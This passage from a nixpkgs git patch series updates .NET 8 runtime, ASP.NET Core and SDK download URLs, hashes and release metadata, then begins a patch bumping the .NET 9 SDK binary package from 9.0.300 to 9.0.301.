-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-osx-x64.tar.gz";
-        hash = "sha512-VKz3i0IUW0aGq1XBrkf/sTZezcvncYVXLvKCX96crdERtSYEbVrEAsuwRre8CYgNh7VvIEYfxHUYmsg451OlWg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-x64.tar.gz";
+        hash = "sha512-KAqOpgHl1xLNORTYT/l1+Hj0tX7fYZnoBa+TuWhWumLQL2yfha9lhg8QjM+w7q3Usqr+E6bkkv4+IYDjRU/Y2w==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.15";
+    version = "8.0.16";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-arm.tar.gz";
-        hash = "sha512-K29PcoX5zcOe9IRkCB6ZYqHwq81GjIToik0Qp+F10w/x87WMSKSDlY+X4aM6XIoiNRAxMGa1puWzXQ3q2G3e+g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm.tar.gz";
+        hash = "sha512-PyRbnUYDgJGX2B2AoH1FE8jRYIF5sfQGm+3jxrz26Njrd8dPX/rahfuK9RcFKifT5K3lRjGUVX3rManwJBfk/A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-arm64.tar.gz";
-        hash = "sha512-9jNZpdpHmPj9+/C+79CqnNadWVOyYpvBxo7MZwg1cvqTcKicGOO0vcI2cd9lfadW7GMGlR9crfIAYqi9d+pADA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm64.tar.gz";
+        hash = "sha512-3bFN2M7PiAaWmBJiWRk6JaabS0eu2iqhZByMAwGy5XYJWZgct2fX8UrTfKmZNsQTb119LrUdSGAxjnr6NHR1Lg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-x64.tar.gz";
-        hash = "sha512-gzqEhUG6b3HIeSFokUhW4W3m9xzwpIHFmQ82IrDj+DEj5gJLyr9rlVp8kujpBBgdQNO9YSWVoNjEekISZ6kcpg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-x64.tar.gz";
+        hash = "sha512-4JJPiLZ5XWaeXGJ4hFpXS3X72bWutjoO1jgiT7jT1IuRuyqa+yct/V9A6CQdQahHkrn8/kJuj9z6FBFrwTLO4g==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-musl-arm.tar.gz";
-        hash = "sha512-SnLLPgo5lKya2MGL5kphidViISdM/zHadL8LiroC1oJg8Falc0dz5MSjSFH+QuYU53IOtRlzKPXnYHb4UMV28w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm.tar.gz";
+        hash = "sha512-obQ9XKIxX9qNN3fSCqqeRyWmhnsEMNkxBp5lMN7DLmxu9kEy5xeIKO0QxaNp+MDCt6QmASt17mF+s89lMFrbKA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-musl-arm64.tar.gz";
-        hash = "sha512-pSo9JRgwH9ZXGhZiC4gCAi2ndazXDXgZW9de1HKcDSH6TxtbhoacEfufO96oeN6rw8nQnqMdjSsuQ7wi47dvPQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm64.tar.gz";
+        hash = "sha512-mvLKdnzZTiO46RZVgqutGOEdPyXJcvq60ZuXQ1FEd0qkJ3RuYFYTL6I2HiN4Fc416LYkRkHZL1EUJyI1Zau5IQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-linux-musl-x64.tar.gz";
-        hash = "sha512-Qk+z+AfICScXUveRiavuHmz58jJuHLtYZsvAMNa23q6Yo5E/tey1+UT4wThp+kxTuqGd3rocKwf5rnJznwYadA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-x64.tar.gz";
+        hash = "sha512-rnf//h/I5rZaaQi8b4tBOz3BWonbGkJZdK12hr8wewaAdvdweboGIkEpp0IJwQqrp6QYpePd9Nvu+InC/E2iPA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-osx-arm64.tar.gz";
-        hash = "sha512-fnDNeP68+VjCCU3gxyL4M4pjNGNoWqI7WUnQGt20iCLfrMU+2cTV9fzihsrzZYfBGMJLc6kB3s6nacpsrQQN9A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-arm64.tar.gz";
+        hash = "sha512-c8NROsGHgdLpMFPdhclEfM3qff5szTjfmjYW91Hw9m/cTkN2Xy4o8ZtvI9jQdGmOAr5dksFNbQm3tMocKdR2Eg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.15/dotnet-runtime-8.0.15-osx-x64.tar.gz";
-        hash = "sha512-5Ii03KPLCKFEtQ1EKOQYW3qM90hohqz+6PwAwRRb2C17x+ZqzqdqV1hp8WV4urxnCP4QRYOd7KbKhIGIylmlHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-x64.tar.gz";
+        hash = "sha512-9oAY2+9/jVtVNQ4sxDHF6a343rtnyXGii8jeD7/Sc7NCX0ph/T21RvtlCjXOzntUu+ZVMpTE0n9YRugyMA5AHA==";
       };
     };
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.115";
+    version = "8.0.116";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-arm.tar.gz";
-        hash = "sha512-dVwMydPc2mnIBI6BoKrZKyPcIvgyHQRyHVSQ1mggRzYik3siCfRFeSZBtcQjiiT8wG4x+eKQEGri84g78y4/yA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm.tar.gz";
+        hash = "sha512-FfLxzRXFY1wiIw8z/TBGb7vnjUbeCak+S5NwVze6vzae1/C5EZZeyj+PbHpmGvYLqxW1Ug4iMp+aJ+1BisIm9Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-arm64.tar.gz";
-        hash = "sha512-2HdN541WcVexgI/vrMkZUpxBF1/6RohtJeFHNonCIWQ8D4k+3zeEbG1v5rfPQIZ2dpFw6MYTyA6v22eJLvbFcA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm64.tar.gz";
+        hash = "sha512-jyC6TSULBIslAreV70m/A9gzMyx8Sr57cSY4xIh7S7dmabwXzVV3BkJmRmH7MrdbGEcVyPpq5VAD9yrIOyFWQw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-x64.tar.gz";
-        hash = "sha512-86+gw3/QSB946svY8yavZlxOZZQGftrBMJlvUMUnNwzCQ50alIQ9zMLj79s8RG5hg0loIt37aDJld/JqgE6sUw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-x64.tar.gz";
+        hash = "sha512-lsY0oNFnhCn+3pkwM2ugNR0VELxNBFa51yJcXJ1YfXAOjzDoQd/Wdf/4qMcJy+8gnKh9Ectlf8svISte767Icg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-musl-arm.tar.gz";
-        hash = "sha512-ezvMoXqhMj+qsQs5ooGhgg0gnVv0el+tiCLRN/ICze1OPHcvZ+Pls3V4kVVurA1dlK2hgEwqutexHl7wO9T+aw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm.tar.gz";
+        hash = "sha512-UGE9fDJJLJksfQGfGE8JcakRQTfsn7LrtJIbhpnv/YKKwqH3f7Yb4fRc0f7Ekz1uQA1EkdorkQb0dZt0lJQxPw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-musl-arm64.tar.gz";
-        hash = "sha512-1IoK973l7ux8WiT2KXOkDU0Q5p7BveHpIsvIDdjJulpYnnrgjEg4t/w/fi+ouS9b2TMOscWnrC5TRPbpFbu34g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm64.tar.gz";
+        hash = "sha512-xmoQFBSkDmJTMKjLyFn7uKxUXIcaNCnoXWt4kAOzzC0gJumBBTliSO2KZq8p7/GbE+lLCrXAYK7449OML2ezdg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-linux-musl-x64.tar.gz";
-        hash = "sha512-85gRr5Tl0u4nh8B72jYkpxPJjRXyE06pdl+M+eZUJ9jzj9muuhfr2TbjVmwmoBHpxLWAbOe6Pf3AzGp86W0wfw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-x64.tar.gz";
+        hash = "sha512-47A8T6hvHfvHAJlTAAgqgdxK8j3ypZyjtpyJ4NNy48yVRL2wXuAsD2FUsrrJevAAFkxSSuvQqpFuxy3zKbZThA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-osx-arm64.tar.gz";
-        hash = "sha512-KhL1EKdxZ2hjtCPanSg9YZ/hA+K0w3K3WNlWMgvmztuKQCm7WkbIzNpK0KHsJL4iQo6S3kpTcgnyssNU3UiyTg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-arm64.tar.gz";
+        hash = "sha512-2HyTfYHHtBXcK/7fMV2s5giWsP9b7GTQF9q2EqrBpUSCrcfFnYYSUn5iLCJW1ehwBaIR89M4kNM/o8+uABx11Q==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.115/dotnet-sdk-8.0.115-osx-x64.tar.gz";
-        hash = "sha512-10jae5HVdBEd20h4ZaLPNlnh91ET7pzYZ2vD5AKVbBRfpVGVX29PlReyyq6Y9MaYVCSs/+WoCiv2JQTNbPVDgw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-x64.tar.gz";
+        hash = "sha512-Pj1nGgahBXZRrtE3jGTt6dz3tGsAXmil2RnOW/K1VTuZroKQn/H6e/kU1n+swRiYsOHPxI7Rx5wcT7+XcwhUUg==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/8/deps.json b/pkgs/development/compilers/dotnet/8/deps.json
index 6f34fd2be117..6c00e387a0a7 100644
--- a/pkgs/development/compilers/dotnet/8/deps.json
+++ b/pkgs/development/compilers/dotnet/8/deps.json
@@ -19,50 +19,50 @@
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "0618bbcaa879391aaeb33346d8b9632efee268ff050a58fe98671c77c262fd6f",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.15-servicing.25164.13/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "485cc4c76fb1751f10f96f1a3a31c6e3b34f9ccf21aff007f6e299783770e279",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "110c1f9bdcacaacfba743afbde9034f20b7cea812c7c64c5bcbbc1027984c142",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.15-servicing.25164.13/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "a41d1f12683d1e78cdbcfbae3da897be8e67f1c36cebc9aff7fdcab73e06ccc0",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
-    "hash": "sha256-YUyH2iTaXs3REAqOy+g80m0uYbMwV9gNsT070dfF72c=",
+    "hash": "sha256-yLIojj1GuucdeVGBCMWpSyNSYz9UB7Kgf3Z0tBn1Hcs=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.15-servicing.25164.13/runtime.linux-x64.microsoft.netcore.ilasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.linux-x64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
-    "hash": "sha256-lP59IY1HTz9yiGnqbxcFb73bCi2ckutviFbYWLXTznM=",
+    "hash": "sha256-eiZ2r4bU86pJP9uhwZrXzYG2aNVCk5Ih/CYV64oX0B0=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.15-servicing.25164.13/runtime.linux-x64.microsoft.netcore.ildasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.linux-x64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "ca1376882af19f9abcfb5a90ec9deaacd57b9d08e8eb131a86225dfd661ef7d1",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.15-servicing.25164.13/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "c82200bcd92ca0de2d0c079b96c0e3dbac3e17688a5857cc91ebd6a19adffd58",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "4e3e6ec2728444f8dcfa993d0db08f764c52b88a2fc1bf34cf407edbed7ef24b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.15-servicing.25164.13/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "b9f2e63ac07740e093829220996e16d40e325cb2f09d03b7dbdb9cc754408904",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "96c41f2405c95d75ad1dfb9b583f1a990577f99db288f4bcc2a1d079710f9f65",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.15-servicing.25164.13/runtime.osx-x64.microsoft.netcore.ilasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "6410989c97ea00d97b6d6c494ee9e057db4f2d9d0838c6c2fc8c287b40285d41",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.16-servicing.25215.6/runtime.osx-x64.microsoft.netcore.ilasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "e2c51c78cb441d6d91c01b403f1fe7915d8214348d364872d2b33be9159e3156",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.15-servicing.25164.13/runtime.osx-x64.microsoft.netcore.ildasm.8.0.15-servicing.25164.13.nupkg",
-    "version": "8.0.15-servicing.25164.13"
+    "sha256": "b8d2b7f24768d3ac2655e30f77aac4ffc696ad8ef419203f253f569d253f24ca",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.16-servicing.25215.6/runtime.osx-x64.microsoft.netcore.ildasm.8.0.16-servicing.25215.6.nupkg",
+    "version": "8.0.16-servicing.25215.6"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/8/release-info.json b/pkgs/development/compilers/dotnet/8/release-info.json
index 1e5c76075be0..91d5948f8c4a 100644
--- a/pkgs/development/compilers/dotnet/8/release-info.json
+++ b/pkgs/development/compilers/dotnet/8/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-pyLq1f9fdjWpmSCiL8BmU3DUQ9tkafwGznY04gDvl5A=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.115-servicing.25169.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-ucOJHPfcDV7XnBH1Yf3j08msvmF4zTyabIh5Cwr6QzU="
+  "tarballHash": "sha256-F9gpgqdOLyVa1tFxtysxdHEJVwTCe+WNuVoMtn0jfBI=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.116-servicing.25219.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-vX8Tri52OaW0OwXV2DgdiwVgj7LCDZVqSm/pxsjN5dc="
 }
diff --git a/pkgs/development/compilers/dotnet/8/release.json b/pkgs/development/compilers/dotnet/8/release.json
index c89fc7bc7ff5..a81d55231aaf 100644
--- a/pkgs/development/compilers/dotnet/8/release.json
+++ b/pkgs/development/compilers/dotnet/8/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "8.0.16",
+  "release": "8.0.17",
   "channel": "8.0",
-  "tag": "v8.0.16",
-  "sdkVersion": "8.0.116",
-  "runtimeVersion": "8.0.16",
-  "aspNetCoreVersion": "8.0.16",
+  "tag": "v8.0.17",
+  "sdkVersion": "8.0.117",
+  "runtimeVersion": "8.0.17",
+  "aspNetCoreVersion": "8.0.17",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "82276892487288f85142cb1641df2b05dc9b937e"
+  "sourceVersion": "30c331373e55effdf3c799bdec8751e6ee5367f6"
 }

From 906e54dc7f9532689948f64e59b00649a040ae93 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 10 Jun 2025 21:46:36 +0000
Subject: [PATCH 1074/4511] dotnetCorePackages.sdk_9_0-bin: 9.0.300 -> 9.0.301

(cherry picked from commit 95e572e334a2f6770de023ad73abd9552a58b78f)
---
 .../compilers/dotnet/versions/9.0.nix         | 444 +++++++++---------
 1 file changed, 222 insertions(+), 222 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/9.0.nix b/pkgs/development/compilers/dotnet/versions/9.0.nix
index 7de632bd7f59..41b17655f9df 100644
--- a/pkgs/development/compilers/dotnet/versions/9.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/9.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.5";
-      hash = "sha512-npNR7X56F/j6xczrnBrWGUkvd/gaFU0CaLswiMQbGnIi1MYJ2woFPiLe7bJnlL2xhLYlpgob6o4Cu6oY7N5uzg==";
+      version = "9.0.6";
+      hash = "sha512-4cbMRgJ07eJMBUi8v3Ps9L+ntztvA9VcCiMvGSIZc7Tj4QZG6yW9PEVrks/X8AfjA1Rj1l8OTJaHykv6oRLZSw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.5";
-      hash = "sha512-mVdknn4KHJG9tfUPpwDf2/kYXi5nA43FsOFBYJEwxgv5+lsKRXV+0hMhXHHItSHwWv6l3KxKhXWzBIXdC85Aew==";
+      version = "9.0.6";
+      hash = "sha512-23ET/Y/1NCDNZWVnfMRXwoadsuz+pZrtZG2q1Woj/iZCkvei7zDgUP3OY5HVyHNRyT7y9TH1GA3smeEGRzxVzg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.5";
-      hash = "sha512-L/1jHi6pAYF68CUlwlAl27IWrVECmIb3VnDC8oWtEVCBsvFdrt+tjG5SJHGOHVfnNlDvC8dGAg5CNHQB19/GFQ==";
+      version = "9.0.6";
+      hash = "sha512-EgMOEOOHwep0HuDkKqmUHPU5LyytjYNhKEck/jrk1jEuVOMM85gJ51A6V/D8HbpLMwZu6Xf3mun+X8FTQ8rBQg==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.5";
-      hash = "sha512-u4CoDTKdSfJFso3oje/YhLxEbwHz6OsBnupzSNXwetmdC58REHsNHfEXiEOoDh8eyc/MXNBrkUjX4kPQuiSSOw==";
+      version = "9.0.6";
+      hash = "sha512-perSjdz+eXfLbiEiuKTpuwyDK6cY/Bb06nXrC5yyzyRSpOXCSTYReckhj905HsLcGhh/fI/f001oZeKkRapjNQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.5";
-      hash = "sha512-bMyx4wFS2+u32e6rhVJ1qbSvhiWw/Qd1AB2Nd9BcQYJHMcwPAfLSvmUJHltzKaFurGDRKDCzm1Kvf/72VRpwsA==";
+      version = "9.0.6";
+      hash = "sha512-Syea/ZRRC5TEoOHYOjTrPY5MutLowj/wNyVmfc+vpsjPKZ3aUONP8QtajyFGV2MiaRe3n0v9zICCahscDd0C7A==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.5";
-        hash = "sha512-lVHFQ8K2gcq5xN+mrzMBuE1FFsDOVrwnzfaGneSZr9aBt6pFHiMpa3B/IN04NcnV2ZEt93qnsj9QsxU3F5cxaw==";
+        version = "9.0.6";
+        hash = "sha512-jZGye2/1bZCKp2pstHa7Ao9WTJvn0nkjW71T9GX1LXlAptkf36QFJhC/3Dty+XqJpsuxRsxU9A6Cjib0g3tCGQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.5";
-        hash = "sha512-e2BdyeR5hL5tyTUY2b0LmRPVB5NZ/ioCVVbN+G7ZpxufulVdvHGR12SrweElzipvT1hUSse71RjO2UB3nxjurg==";
+        version = "9.0.6";
+        hash = "sha512-Nk3g8RsNxtG8hC5L4BT+VBuqNKo6RnCirF/9d1RjhhwpleMH9uQsvkyKhVm1wNodFORzQdAP+uUgdiKZ6eu/+w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-X5jO/py3v/DcQO4P5TknH++LPHcjheooI8fDCm3KQXejUaVMv3GXFbeWtlpoBjbmhchS95Ye87OooPsLDTOntQ==";
+        version = "9.0.6";
+        hash = "sha512-p2V2hOy/yqf3sCeoxi09m6WoZ/1B7iSM0NXXgcYqoE1G2bhv2FhAv2z2eg6Ynh0GYU07RfQHLwrxC2+qjg5xTQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.5";
-        hash = "sha512-sO9udn058dZbRQbNq1oKILhQ18cCZXOa6DLh9JgLqA9baoUfY5OfZNJfmS/kfOILKbCUrZ6WTtHMgZ7ycPN0/g==";
+        version = "9.0.6";
+        hash = "sha512-6A2zGQSBQp0K/Anld6WIXIeCEA0KwCgROQLwi81+NUz0MySjOVo06OgxG+svJeH0gGX4O4g4aP0G0mu5I/9sTw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.5";
-        hash = "sha512-EAWf5+sR/zL7che2L5IrQTpjBjw/n1ZOFSebZauy0E4sHMFLJSb8KgWXzQG4wN5juTJbMseiU8VbNOS3tnXDLw==";
+        version = "9.0.6";
+        hash = "sha512-Ueh2AoWYf1xIq1GlKxGiWPdRWNTky6id6Nqkxz/tqWE1AdMw/aXQwK9eV6KVSy5X1uMtxqs9437d9Cw1wKGb3g==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.5";
-        hash = "sha512-ou/tAJJiTz8RkcGmSoHi22LSrjJL34GicrARl5WR84cVxVmPKjinwbO/6ys5UmHqg7dlSsZXretTdWfu9EdVhQ==";
+        version = "9.0.6";
+        hash = "sha512-Y25NMIMRfqz9xftyER4Ip9WTbBxmz418hDRIbnxEs/Rm7YTImMNA1spCXPjkYKNGuthjbMP0ycxcrIIP7LO9qA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.5";
